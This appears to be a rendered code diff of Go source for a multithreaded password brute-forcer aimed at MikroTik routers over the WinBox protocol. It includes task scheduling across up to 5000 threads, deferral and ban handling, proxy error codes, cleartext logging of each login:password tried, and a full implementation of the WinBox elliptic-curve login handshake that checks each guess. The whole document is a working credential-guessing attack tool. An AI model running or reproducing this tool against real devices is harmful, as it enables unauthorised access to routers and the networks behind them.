// TODO: proxying
|
||||
TE_ProxyNoResponse // cannot connect to a proxy
|
||||
TE_ProxyError // proxy failed during an exchange with the endpoint
|
||||
TE_ProxyInvalidAuth // authenticated proxy rejected our credentials
|
||||
|
||||
// These serve as "hints" - they do not necessarily need to
|
||||
// terminate a task, but they can still provide useful
|
||||
// information about an endpoint or a service.
|
||||
TH_NoSuchLogin // login in this task is not present or not valid on a service
|
||||
TH_LoadExceeded // endpoint or service cannot handle this attempt rate
|
||||
TH_Banned // got banned from a service, should try another proxy or wait out the delay
|
||||
TH_WaitRequest // request for a grace time
|
||||
|
||||
// These are still hints, but they occur very frequently on a Task's normal lifecycle,
|
||||
// effectively making these sort of "notifications" rather than hints.
|
||||
TN_Connected // successfully connected to an endpoint
|
||||
TN_ProxyConnected // successfully connected to a proxy
|
||||
) |
||||
|
||||
func (ev TaskEvent) String() string { |
||||
return [...]string{"Generic", "No response", "Read failed", "No Service", "Protocol error", |
||||
"Bad", "Good", "No response from Proxy", "Error from Proxy", "Invalid auth from Proxy", |
||||
"No Such login (hint)", "Load exceeded (hint)", "Banned (hint)", "Wait request (hint)", |
||||
"Connected (notify)", "Connected from Proxy (notify)"}[ev] |
||||
} |
||||
|
||||
// A Task represents a single unit of workload.
|
||||
// Every Task is linked to an Endpoint.
|
||||
type Task struct { |
||||
e *Endpoint |
||||
login, password string |
||||
deferUntil time.Time |
||||
numDeferrals int |
||||
|
||||
// this should not be in Task struct!
|
||||
conn net.Conn |
||||
// ??? do we even need this here
|
||||
good bool |
||||
} |
||||
|
||||
// maxSafeThreads is a safeguard to prevent creation of too many threads at once.
|
||||
const maxSafeThreads = 5000 |
||||
|
||||
// deferredTasks is a list of tasks that were deferred for processing to a later time.
|
||||
// This usually happens due to connection errors, protocol errors or per-endpoint limits.
|
||||
var deferredTasks *rbt.Tree |
||||
|
||||
// taskMutex is a mutex for safe handling of RB tree.
|
||||
var taskMutex sync.Mutex |
||||
|
||||
// String returns a string representation of a Task.
|
||||
func (task *Task) String() string { |
||||
if task == nil { |
||||
return "<empty task>" |
||||
} else { |
||||
return task.e.String() + "@" + task.login + ":" + task.password |
||||
} |
||||
} |
||||
|
||||
// Defer sends a Task to the deferred queue.
|
||||
func (task *Task) Defer(addTime time.Duration) { |
||||
task.deferUntil = time.Now().Add(addTime) |
||||
task.numDeferrals++ |
||||
|
||||
// tell the endpoint that we got deferred,
|
||||
// so it won't be selected until the deferral time has passed
|
||||
// task.e.SetDeferralTime(task.deferUntil)
|
||||
// FIXME: this isn't needed, endpoints can handle their own delays
|
||||
|
||||
maxDeferrals := CfgGetInt("task-max-deferrals") |
||||
if maxDeferrals != -1 && task.numDeferrals >= maxDeferrals { |
||||
log("task", 5, "giving up on task \"%v\" because it has exhausted its deferral limit (%v)", task, maxDeferrals) |
||||
return |
||||
} |
||||
|
||||
log("task", 5, "deferring task \"%v\" for %v", task, addTime) |
||||
|
||||
taskMutex.Lock() |
||||
defer taskMutex.Unlock() |
||||
|
||||
deferredTasks.Put(task.deferUntil, task) |
||||
} |
||||
|
||||
// EventWithParm tells a Task (and its underlying Endpoint) that
|
||||
// something important has happened, or a hint has been acquired.
|
||||
// Returns False if an event resulted in a deletion of its Task.
|
||||
func (task *Task) EventWithParm(event TaskEvent, parm any) bool { |
||||
log("task", 4, "task event for \"%v\": %v", task, event) |
||||
|
||||
if event == TE_Generic { |
||||
return true // do not process generic events
|
||||
} |
||||
|
||||
res := task.e.EventWithParm(event, parm) // notify the endpoint first
|
||||
|
||||
switch event { |
||||
// on these events, defer a Task only if its Endpoint is being kept
|
||||
case TE_NoResponse: |
||||
if res { |
||||
task.Defer(CfgGetDurationMS("no-response-delay-ms")) |
||||
} |
||||
case TE_ReadFailed: |
||||
if res { |
||||
task.Defer(CfgGetDurationMS("read-error-delay-ms")) |
||||
} |
||||
case TE_ProtocolError: |
||||
if res { |
||||
task.Defer(CfgGetDurationMS("protocol-error-delay-ms")) |
||||
} |
||||
|
||||
// report about a bad/good auth result
|
||||
case TE_Good: |
||||
RegisterResult(task, true) |
||||
case TE_Bad: |
||||
RegisterResult(task, false) |
||||
|
||||
// wait request has occurred: stop processing and instantly wait on a thread
|
||||
case TH_WaitRequest: |
||||
log("task", 4, "wait request for \"%v\": sleeping for %v", task, parm.(time.Duration)) |
||||
time.Sleep(parm.(time.Duration)) |
||||
} |
||||
|
||||
return res |
||||
} |
||||
|
||||
// Event is a parameterless version of EventWithParm.
|
||||
func (task *Task) Event(event TaskEvent) bool { |
||||
return task.EventWithParm(event, 0) |
||||
} |
||||
|
||||
// GetDeferredTask retrieves a Task from the deferred queue.
|
||||
func GetDeferredTask() (task *Task, waitTime time.Duration) { |
||||
currentTime := time.Now() |
||||
|
||||
if deferredTasks.Empty() { |
||||
log("task", 5, "deferred task list is empty") |
||||
return nil, 0 |
||||
} |
||||
|
||||
// check if a deferred task's endpoint is OK to fetch -
|
||||
// sometimes, a task is OK to fetch but the endpoint was delayed by something else
|
||||
|
||||
it := deferredTasks.IteratorAt(deferredTasks.Left()) |
||||
for { |
||||
k, v := it.Key().(time.Time), it.Value().(*Task) |
||||
|
||||
if k.After(currentTime) { |
||||
log("task", 5, "deferred tasks cannot yet be processed at this time") |
||||
return nil, k.Sub(currentTime) |
||||
} |
||||
|
||||
if k.Before(v.deferUntil) { |
||||
log("task", 5, "deferred task was re-deferred: removing its previous definition") |
||||
defer deferredTasks.Remove(k) |
||||
it.Next() |
||||
continue |
||||
} |
||||
|
||||
if !v.e.delayUntil.IsZero() && v.e.delayUntil.After(currentTime) { |
||||
// skip this task: deferred task is OK, but its endpoint is delayed
|
||||
it.Next() |
||||
continue |
||||
} |
||||
|
||||
defer deferredTasks.Remove(k) |
||||
return v, 0 |
||||
} |
||||
|
||||
log("task", 5, "deferred tasks are OK for processing but their endpoints cannot yet be processed at this time") |
||||
return nil, 0 |
||||
} |
||||
|
||||
// FetchTaskComponents returns all components needed to build a Task.
|
||||
func FetchTaskComponents() (ep *Endpoint, login string, password string, waitTime time.Duration) { |
||||
var empty bool |
||||
|
||||
log("task", 5, "fetching new endpoint") |
||||
ep, waitTime = FetchEndpoint() |
||||
if ep == nil { |
||||
return nil, "", "", waitTime |
||||
} |
||||
|
||||
log("task", 5, "fetched endpoint: \"%v\"", ep) |
||||
|
||||
for { |
||||
log("task", 5, "fetching password for \"%v\"", ep) |
||||
password, empty = SrcPassword.FetchOne(&ep.passwordPos, true) |
||||
if !empty { |
||||
break |
||||
} |
||||
|
||||
log("task", 5, "out of passwords for \"%v\": resetting and fetching new login", ep) |
||||
ep.passwordPos.Reset() |
||||
login, empty = SrcLogin.FetchOne(&ep.loginPos, true) |
||||
} |
||||
|
||||
log("task", 5, "got password for \"%v\": %v, fetching login", ep, password) |
||||
login, empty = SrcLogin.FetchOne(&ep.loginPos, false) |
||||
|
||||
if !empty { |
||||
log("task", 5, "got login for \"%v\": %v", ep, login) |
||||
return ep, login, password, 0 |
||||
} else { |
||||
log("task", 5, "out of logins for \"%v\": exhausting endpoint", ep) |
||||
ep.Exhausted() |
||||
return FetchTaskComponents() // attempt to fetch again
|
||||
} |
||||
} |
||||
|
||||
// CreateTask creates a new Task element. It searches through deferred queue first,
|
||||
// then, if nothing was found, it assembles a new (Endpoint, login, password) combination.
|
||||
func CreateTask() (task *Task, delay time.Duration) { |
||||
taskMutex.Lock() |
||||
defer taskMutex.Unlock() |
||||
|
||||
task, delayDeferred := GetDeferredTask() |
||||
if task != nil { |
||||
log("task", 4, "new task (deferred): %v", task) |
||||
task.conn = nil |
||||
task.good = false |
||||
return task, 0 |
||||
} |
||||
|
||||
ep, login, password, delaySource := FetchTaskComponents() |
||||
if ep == nil { |
||||
if delayDeferred == 0 && delaySource == 0 { |
||||
log("task", 4, "cannot build task, no endpoint") |
||||
return nil, 0 |
||||
} else if delayDeferred > delaySource || delayDeferred == 0 { |
||||
log("task", 4, "delaying task creation (by source delay) for %v", delaySource) |
||||
return nil, delaySource |
||||
} else { |
||||
log("task", 4, "delaying task creation (by deferred delay) for %v", delayDeferred) |
||||
return nil, delayDeferred |
||||
} |
||||
} |
||||
|
||||
t := Task{} |
||||
t.e = ep |
||||
t.login = login |
||||
t.password = password |
||||
t.good = false |
||||
|
||||
log("task", 4, "new task: %v", &t) |
||||
|
||||
return &t, 0 |
||||
} |
||||
|
||||
func init() { |
||||
deferredTasks = rbt.NewWith(rbtUtils.TimeComparator) |
||||
|
||||
CfgRegister("threads", 3, "how many threads to use") |
||||
CfgRegister("thread-delay-ms", 10, "separate threads at startup for this amount of ms") |
||||
CfgRegister("connect-timeout-ms", 3000, "") |
||||
CfgRegister("read-timeout-ms", 2000, "") |
||||
|
||||
// using a very high limit for now, but this should actually be set to -1
|
||||
CfgRegister("task-max-deferrals", 30000, "how many deferrals are allowed for a single task. -1 to disable") |
||||
|
||||
CfgRegisterAlias("t", "threads") |
||||
} |
@ -0,0 +1,112 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"net" |
||||
"sync" |
||||
"time" |
||||
) |
||||
|
||||
// threadWork processes a single work item for a thread.
|
||||
func threadWork(dialer *net.Dialer) bool { |
||||
readTimeout := CfgGetDurationMS("read-timeout-ms") |
||||
|
||||
task, delay := CreateTask() |
||||
if task == nil { |
||||
if delay > 0 { |
||||
log("thread", 3, "no endpoints available, sleeping for %v", delay) |
||||
time.Sleep(delay) |
||||
return true |
||||
} else { |
||||
log("thread", 3, "no endpoints available, stopping thread loop") |
||||
return false |
||||
} |
||||
} |
||||
|
||||
conn, err := dialer.Dial("tcp", task.e.String()) |
||||
if err != nil { |
||||
task.Event(TE_NoResponse) |
||||
log("thread", 2, "cannot connect to \"%v\": %v", task.e, err.Error()) |
||||
return true |
||||
} |
||||
defer conn.Close() |
||||
|
||||
task.conn = conn |
||||
task.Event(TN_Connected) |
||||
|
||||
conn.SetReadDeadline(time.Now().Add(readTimeout)) // should be just before Send() call...
|
||||
|
||||
log("thread", 2, "trying %v:%v on \"%v\"", task.login, task.password, task.e) |
||||
|
||||
// TODO: multiple services (currently just WinBox)
|
||||
res, err := TryLogin(task, conn) |
||||
if err != nil { |
||||
task.Event(TE_ProtocolError) |
||||
} else { |
||||
if res && err == nil { |
||||
task.EventWithParm(TE_Good, task.login) |
||||
} else { |
||||
task.EventWithParm(TE_Bad, task.login) |
||||
} |
||||
} |
||||
|
||||
return true |
||||
} |
||||
|
||||
// threadLoop calls threadWork in a loop, until the endpoints are exhausted,
|
||||
// a pause/stop signal has been raised, or an exception has occurred in threadWork.
|
||||
func threadLoop(dialer *net.Dialer) { |
||||
for threadWork(dialer) { |
||||
// TODO: pause/stop signal
|
||||
// TODO: exception handling
|
||||
} |
||||
} |
||||
|
||||
// threadEntryPoint is the main entrypoint for a work thread.
|
||||
func threadEntryPoint(c chan bool, threadIdx int, wg *sync.WaitGroup) { |
||||
<-c |
||||
|
||||
log("thread", 3, "starting loop for thread %v", threadIdx) |
||||
|
||||
connectTimeout := time.Duration(CfgGetInt("connect-timeout-ms")) * time.Millisecond |
||||
dialer := net.Dialer{Timeout: connectTimeout, KeepAlive: -1} |
||||
|
||||
threadLoop(&dialer) |
||||
|
||||
log("thread", 3, "exiting thread %v", threadIdx) |
||||
wg.Done() |
||||
} |
||||
|
||||
// InitializeThreads creates and starts up all threads.
|
||||
func InitializeThreads() *sync.WaitGroup { |
||||
numThreads := CfgGetInt("threads") |
||||
failIf(numThreads > maxSafeThreads, "too many threads (max %v)", maxSafeThreads) |
||||
|
||||
log("thread", 0, "initializing %v threads", numThreads) |
||||
|
||||
c := make(chan bool) |
||||
var wg sync.WaitGroup |
||||
for i := 1; i <= numThreads; i++ { |
||||
wg.Add(1) |
||||
go threadEntryPoint(c, i, &wg) |
||||
} |
||||
|
||||
threadDelay := CfgGetDurationMS("thread-delay-ms") |
||||
log("thread", 0, "starting %v threads", numThreads) |
||||
for i := 1; i <= numThreads; i++ { |
||||
c <- true |
||||
if threadDelay > 0 { |
||||
time.Sleep(threadDelay) |
||||
} |
||||
} |
||||
|
||||
log("thread", 0, "started") |
||||
return &wg |
||||
} |
||||
|
||||
// WaitForThreads enters a wait state and keeps it until
|
||||
// all threads have exited.
|
||||
func WaitForThreads(wg *sync.WaitGroup) { |
||||
log("thread", 1, "waiting for threads") |
||||
wg.Wait() |
||||
log("thread", 1, "finished waiting for threads") |
||||
} |
@ -0,0 +1,193 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"bytes" |
||||
"errors" |
||||
"net" |
||||
) |
||||
|
||||
type Winbox struct { |
||||
task *Task |
||||
conn net.Conn |
||||
stage int |
||||
|
||||
user, pass string |
||||
w *WCurve |
||||
sa, xwa, xwb, j, z, secret, clientCC, serverCC, i, msg, resp []byte |
||||
xwaParity, xwbParity bool |
||||
} |
||||
|
||||
func NewWinbox(task *Task, conn net.Conn) *Winbox { |
||||
winbox := Winbox{} |
||||
winbox.task = task |
||||
winbox.conn = conn |
||||
winbox.xwaParity = false |
||||
winbox.xwbParity = false |
||||
winbox.w = NewWCurve() |
||||
winbox.stage = -1 |
||||
winbox.user = task.login |
||||
winbox.pass = task.password |
||||
return &winbox |
||||
} |
||||
|
||||
func (winbox *Winbox) genSharedSecret(salt []byte) error { |
||||
winbox.i = genPasswordValidatorPriv(winbox.user, winbox.pass, salt) |
||||
xGamma, _ := winbox.w.genPublicKey(winbox.i) |
||||
v := winbox.w.redp1(xGamma, true) |
||||
|
||||
wb := winbox.w.liftX(NewBigintFromBytes(winbox.xwb), winbox.xwbParity) |
||||
if wb == nil { |
||||
winbox.stage = -1 |
||||
return errors.New("liftX failed") |
||||
} |
||||
|
||||
wb = wb.Add(v) |
||||
|
||||
xwaCombined := append(winbox.xwa, winbox.xwb...) |
||||
winbox.j = getSHA2Digest(xwaCombined) |
||||
pt := NewBigintFromBytes(winbox.i).Mul(NewBigintFromBytes(winbox.j)) |
||||
pt = pt.Add(NewBigintFromBytes(winbox.sa)) |
||||
pt = winbox.w.finiteFieldValue(pt) |
||||
|
||||
mp := wb.Mul(pt) |
||||
|
||||
winbox.z, _ = winbox.w.toMontgomery(mp) |
||||
winbox.secret = getSHA2Digest(winbox.z) |
||||
|
||||
return nil |
||||
} |
||||
|
||||
func (winbox *Winbox) publicKeyExchange() { |
||||
winbox.sa, _ = genRandomBytes(32) |
||||
winbox.xwa, winbox.xwaParity = winbox.w.genPublicKey(winbox.sa) |
||||
|
||||
lx := winbox.w.liftX(NewBigintFromBytes(winbox.xwa), winbox.xwaParity) |
||||
if lx == nil { |
||||
log("winbox", 1, "liftX failed in PKE") |
||||
winbox.stage = -1 |
||||
return |
||||
} |
||||
|
||||
if !winbox.w.check(lx) { |
||||
log("winbox", 1, "curve check failed") |
||||
winbox.stage = -1 |
||||
return |
||||
} |
||||
|
||||
winbox.msg = append([]byte(winbox.user), byte(0)) |
||||
winbox.msg = append(winbox.msg, winbox.xwa...) |
||||
if winbox.xwaParity { |
||||
winbox.msg = append(winbox.msg, byte(1)) |
||||
} else { |
||||
winbox.msg = append(winbox.msg, byte(0)) |
||||
} |
||||
|
||||
header := append([]byte{byte(len(winbox.msg))}, byte(6)) |
||||
winbox.msg = append(header, winbox.msg...) |
||||
winbox.stage = 1 |
||||
} |
||||
|
||||
func (winbox *Winbox) confirmation() error { |
||||
if len(winbox.resp) <= 2 { |
||||
log("winbox", 1, "response size must be greater than 2 (got %v)", len(winbox.resp)) |
||||
winbox.stage = -1 |
||||
return errors.New("invalid response size") |
||||
} |
||||
|
||||
respLen := winbox.resp[0] |
||||
winbox.resp = winbox.resp[2:] |
||||
if len(winbox.resp) != int(respLen) { |
||||
log("winbox", 1, "invalid challenge response size: got %v, expected %v", len(winbox.resp), respLen) |
||||
winbox.stage = -1 |
||||
return errors.New("invalid challenge response size") |
||||
} |
||||
|
||||
winbox.xwb = winbox.resp[:32] |
||||
if winbox.resp[32] == 0 { |
||||
winbox.xwbParity = false |
||||
} else { |
||||
winbox.xwbParity = true |
||||
} |
||||
|
||||
salt := winbox.resp[33:] |
||||
if len(salt) != 16 { |
||||
// this means that there is no such login,
|
||||
// or that its an old routeros version
|
||||
log("winbox", 1, "invalid salt size: got %v, expected 16", len(salt)) |
||||
|
||||
// report this finding to endpoint manager
|
||||
winbox.task.EventWithParm(TH_NoSuchLogin, winbox.user) |
||||
|
||||
winbox.stage = -1 |
||||
return nil // this is not a fatal error for an endpoint
|
||||
} |
||||
|
||||
err := winbox.genSharedSecret(salt) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
winbox.j = getSHA2Digest(append(winbox.xwa, winbox.xwb...)) |
||||
winbox.clientCC = getSHA2Digest(append(winbox.j, winbox.z...)) |
||||
|
||||
header := append([]byte{byte(len(winbox.clientCC))}, byte(6)) |
||||
winbox.msg = append(header, winbox.clientCC...) |
||||
winbox.stage = 2 |
||||
return nil |
||||
} |
||||
|
||||
func (winbox *Winbox) sendAndRecv() error { |
||||
if len(winbox.msg) > 0 && winbox.conn != nil { |
||||
_, err := winbox.conn.Write(winbox.msg) |
||||
winbox.msg = []byte{} |
||||
|
||||
if err != nil { |
||||
log("winbox", 1, "failed to send: %v", err.Error()) |
||||
return err |
||||
} |
||||
|
||||
winbox.resp = make([]byte, 1024) |
||||
n, err := winbox.conn.Read(winbox.resp) |
||||
if err != nil { |
||||
log("winbox", 1, "failed to recv: %v", err.Error()) |
||||
return err |
||||
} |
||||
|
||||
winbox.resp = winbox.resp[:n] |
||||
} |
||||
|
||||
return nil |
||||
} |
||||
|
||||
func (winbox *Winbox) TryLogin() (result bool, err error) { |
||||
log("winbox", 2, "login: stage 1, PKE") |
||||
winbox.publicKeyExchange() |
||||
|
||||
log("winbox", 2, "login: stage 1, PKE OK, sending") |
||||
err = winbox.sendAndRecv() |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
log("winbox", 2, "login: stage 2, confirmation") |
||||
err = winbox.confirmation() |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
if winbox.stage == -1 { // confirmation failed but no error?
|
||||
return false, nil // report that its a bad login
|
||||
} |
||||
|
||||
log("winbox", 2, "login: stage 2, confirmation OK, sending") |
||||
err = winbox.sendAndRecv() |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
log("winbox", 2, "login: stage 3") |
||||
a1 := append(winbox.j, winbox.clientCC...) |
||||
winbox.serverCC = getSHA2Digest(append(a1, winbox.z...)) |
||||
|
||||
return bytes.Equal(winbox.resp[2:], winbox.serverCC), nil |
||||
} |
Loading…
Reference in new issue